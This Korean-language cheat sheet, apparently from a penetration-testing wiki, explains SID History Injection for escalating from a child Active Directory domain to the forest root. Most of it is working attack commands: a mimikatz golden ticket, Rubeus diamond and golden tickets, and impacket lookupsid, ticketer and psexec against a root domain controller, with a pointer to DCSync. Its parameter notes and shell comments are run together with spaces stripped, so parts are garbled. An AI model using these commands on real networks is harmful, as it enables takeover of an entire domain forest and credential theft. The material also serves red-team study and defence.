SID History Injection 공격의 목적은 도메인 간 사용자 이동을 지원하면서 이전 도메인의 리소스에 대한 계속된 액세스를 보장하는 것입니다. 이는 사용자의 이전 보안 식별자(SID)를 새 계정의 SID History에 통합함으로써 달성됩니다. 특히, 이 과정은 상위 권한 그룹(예: Enterprise Admins 또는 Domain Admins)의 SID를 부모 도메인의 SID History에 추가함으로써 무단 액세스를 부여하는 데 조작될 수 있습니다. 이 취약점을 이용하면 부모 도메인 내의 모든 리소스에 액세스할 수 있습니다.
이 공격을 실행하기 위해 Golden Ticket 또는 Diamond Ticket을 생성하는 두 가지 방법이 있습니다.
"Enterprise Admins" 그룹의 SID를 찾기 위해 먼저 루트 도메인의 SID를 찾아야 합니다. 식별 후, Enterprise Admins 그룹의 SID는 루트 도메인의 SID에 -519를 추가하여 구성할 수 있습니다. 예를 들어, 루트 도메인의 SID가 S-1-5-21-280534878-1496970234-700767426인 경우, "Enterprise Admins" 그룹의 결과 SID는 S-1-5-21-280534878-1496970234-700767426-519가 됩니다.
또는 Domain Admins 그룹을 사용할 수도 있으며, 이 그룹의 SID는 512로 끝납니다.
다른 도메인의 그룹(SID 예: "Domain Admins")의 SID를 찾는 또 다른 방법은 다음과 같습니다:
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
/useristheusernametoimpersonate (could beanything)/domainisthecurrentdomain./sidisthecurrentdomainSID./sidsistheSIDofthetargetgrouptoaddourselvesto./aes256istheAES256keyofthecurrentdomain's krbtgt account.--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option/startoffset sets the start time of the ticket to 10 mins before the current time./endin sets the expiry date for the ticket to 60 mins./renewmax sets how long the ticket can be valid for if renewed.# The previous command will generate a file called ticket.kirbi# Just loading you can perform a dcsync attack agains the domain
# Use the /sids paramRubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
# Or a ptt with a golden ticketRubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
# This is for an attack from child to root domain# Get child domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep"Domain SID"# Get root domain SIDlookupsid.py<child_domain>/username@10.10.10.10|grep-B20"Enterprise Admins"|grep"Domain SID"# Generate golden ticketticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING# JUST USE THE SAME USERNAME IN THE NEXT STEPS# Load ticketexport KRB5CCNAME=hacker.ccache# psexec in domain controller of rootpsexec.py<child_domain>/Administrator@dc.root.local-k-no-pass-target-ip10.10.10.10